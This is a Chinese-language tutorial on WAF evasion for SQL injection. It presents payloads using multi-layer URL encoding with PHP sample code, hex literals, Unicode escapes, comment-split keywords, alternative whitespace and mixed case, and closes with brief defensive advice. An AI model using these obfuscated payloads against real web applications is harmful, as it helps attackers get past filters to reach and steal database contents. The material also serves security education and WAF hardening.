SQL注入攻击中,WAF防火墙会通过预设规则检测请求中的恶意SQL特征,编码转换与特殊字符混淆是最常用的绕过手段,核心思路是改变恶意 payload 的表现形式,让WAF无法匹配到已知攻击特征。

编码转换绕过WAF的实现方式
URL编码转换
URL编码可将特殊字符转换为%加十六进制的形式,WAF可能对单层编码有检测规则,但多层编码往往能绕过检测。比如原注入语句SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3,先对空格编码为%20,UNION编码为%55%4E%49%4F%4E,多次编码后WAF可能无法识别。
以下是PHP中模拟多层URL编码的示例代码:
<?php // 原始注入payload $origin_payload = "1 UNION SELECT 1,2,3"; // 第一次URL编码 $first_encode = urlencode($origin_payload); // 第二次URL编码,绕过部分WAF的单层编码检测 $second_encode = urlencode($first_encode); echo "第一次编码结果:" . $first_encode . "n"; echo "第二次编码结果:" . $second_encode . "n"; ?>
十六进制编码转换
将字符串转换为十六进制形式,在SQL中可通过0x前缀直接解析,比如将admin转换为0x61646d696e,WAF通常不会将十六进制字符串识别为恶意内容。以下是MySQL中使用十六进制编码查询的示例:
-- 原始查询语句 SELECT * FROM users WHERE username = 'admin'; -- 十六进制编码后的查询语句,功能完全一致 SELECT * FROM users WHERE username = 0x61646d696e;
Unicode编码转换
Unicode编码可将字符转换为u加四位十六进制的形式,部分WAF对Unicode编码的解析支持不完善,攻击者可将SQL关键字拆分编码,比如将SELECT编码为u0053u0045u004Cu0045u0043u0054,绕过关键字匹配规则。
特殊字符混淆绕过WAF的实现方式
注释符插入混淆
在SQL关键字中间插入注释符,WAF通常无法识别被注释分割的关键字,比如UN/**/ION、SE/**/LECT,MySQL会忽略注释内容,正常执行语句。以下是混淆后的注入示例:
-- 原始注入语句 1 UNION SELECT 1,2,3 -- 插入注释符混淆后的语句,WAF可能无法匹配UNION关键字 1 UN/**/ION SE/**/LECT 1,2,3
空白符替换混淆
SQL语句中空格不是必须的,可用制表符、换行符、%0a、%0d等空白符替换空格,部分WAF仅检测普通空格,替换后无法匹配特征。以下是替换空白符的示例:
-- 原始语句使用普通空格 SELECT * FROM users WHERE id=1 -- 用制表符替换空格后的语句 SELECT%09*%09FROM%09users%09WHERE%09id=1 -- 用换行符替换空格后的语句 SELECT%0a*%0aFROM%0ausers%0aWHERE%0aid=1
大小写混合混淆
SQL关键字不区分大小写,Union、SeLeCt和UNION、SELECT执行效果一致,部分WAF仅配置全大写或全小写的规则,大小写混合后可绕过检测。示例如下:
-- 原始全大写关键字 1 UNION SELECT 1,2,3 -- 大小写混合后的关键字,绕过大小写敏感的规则 1 UnIoN SeLeCt 1,2,3
绕过方式的组合使用
单一绕过方式可能被升级后的WAF识别,实际攻击中常组合使用多种方法,比如先对payload进行URL编码,再插入注释符,同时替换空白符,可大幅提升绕过成功率。以下是组合绕过的示例:
-- 原始注入语句 1 UNION SELECT 1,2,3 -- 组合编码转换+特殊字符混淆后的语句 1%20UnIoN/**/SeLeCt%091,2,3
防护建议
针对这类绕过手段,开发者可采取以下防护措施:对用户输入进行严格的参数化查询,从根源避免SQL注入;WAF规则需支持多层编码解码、注释符过滤、非常规空白符检测;定期更新WAF规则库,覆盖新出现的混淆方式;对请求中的特殊字符进行统一过滤和转义,减少攻击面。